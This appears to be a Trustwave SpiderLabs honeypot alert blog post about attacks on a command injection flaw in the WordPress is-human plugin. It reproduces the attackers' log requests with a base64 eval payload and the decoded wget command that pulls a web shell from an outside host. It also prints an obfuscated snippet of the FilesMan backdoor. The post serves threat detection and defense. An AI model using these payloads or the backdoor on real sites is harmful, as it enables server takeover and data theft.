Trustwave achieves verified MXDR solution and FastTrack ready partner status from Microsoft. Learn More

Trustwave achieves verified MXDR solution and FastTrack ready partner status from Microsoft. Learn More

Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

Managed Security Services

Expand your team’s capabilities and strengthen your security posture

Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

Penetration Testing

Subscription- or project-based testing, delivered by global experts

Database Security

Get ahead of database risk, protect data and exceed compliance requirements

Email Security & Management

Catch email threats others miss with layered security & maximum control

Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

[Honeypot Alert] More WordPress is_human Plugin Remote Command Injection Attack Detected

As we first noted in a previous Honeypot Alert Blog post, our web honeypots have again received attempts to exploit a WordPress is-human pluging remote command injection vulnerability. ExploitDB lists the following data:

# Exploit Title: is-human (1.4.2 and prior) Worpdress plugin.
# Date: 16.05.2011
# Author: neworder []
# Software Link:
# Version: 1.4.2
# Tested on: Linux Platform
The vulnerability exists in /is-human/engine.php .
It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code.
In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands.
Execution running the linux whoami command:

Here are the attacks we picked up: - - [12/Mar/2012:11:14:38 +0000] "GET /wordpress//wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3Ryb2xsLmhyMDAucnUvc2gudHh0OyBtdiBzaC50eHQgc2gucGhwJyk7));error HTTP/1.1" 404 568 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" - - [12/Mar/2012:11:14:38 +0000] "GET /wordpress//wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3Ryb2xsLmhyMDAucnUvc2gudHh0OyBtdiBzaC50eHQgc2gucGhwJyk7));error HTTP/1.1" 404 568 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" - - [12/Mar/2012:11:14:42 +0000] "GET //wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3Ryb2xsLmhyMDAucnUvc2gudHh0OyBtdiBzaC50eHQgc2gucGhwJyk7));error HTTP/1.1" 301 765 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

As you can see, the attacker is injecting PHP eval and base64_decode calls into the vulnerable "type" parameter of the is_human WordPress plugin. The base64_decode call results in the following text:

passthru('wget; mv sh.txt sh.php');

This attempts to access the OS level wget http client tool to download the "sh.txt" file on the remote site. Here is a snippet of the code:

<?php$auth_pass = "";$color = "#df5";$default_action = 'FilesMan';$default_use_ajax = true;$default_charset = 'Windows-1251';preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2--CUT--CeoLNq9ulb+iR9awo80ZtZXK2r56dUYJbQgDn2wbjvy2c5cgh8gAi9LbaFz7lC13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");

When this code is executed by PHP, it results in a common web backdoor page such as the following screenshot which was taken from Google search results for other compromised hosts.


Screen shot 2012-03-12 at 12.05.06 PM